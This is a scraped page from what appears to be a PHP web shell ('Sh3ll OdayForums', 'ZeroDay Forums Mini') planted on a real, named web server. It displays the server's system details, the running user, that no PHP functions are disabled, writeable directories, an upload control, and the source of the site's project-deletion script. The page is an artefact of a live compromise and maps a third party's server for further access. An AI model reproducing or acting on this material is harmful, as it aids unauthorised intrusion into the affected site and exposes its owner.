Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /home/dnlcambodia/public_html/dnl_dashboard/Project/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/dnlcambodia/public_html/dnl_dashboard/Project/deleteProject.php
<?php
// Step 1: Receive the request
if(isset($_POST['id'])){
    $projectId = $_POST['id'];

    
    include '../PHP/config/db_conn.php';

    // Step 4: Prepare and execute the delete query
    $stmt = $conn->prepare("DELETE FROM project WHERE project_id = ?");
    $stmt->bind_param("i", $projectId);

    if ($stmt->execute() === TRUE) {
        // Step 5: Handle success
        echo "Record deleted successfully";
    } else {
        // Step 5: Handle failure
        echo "Error deleting record: " . $conn->error;
    }

    $stmt->close();
    $conn->close();
} else {
    echo "No project ID provided";
}
?>

ZeroDay Forums Mini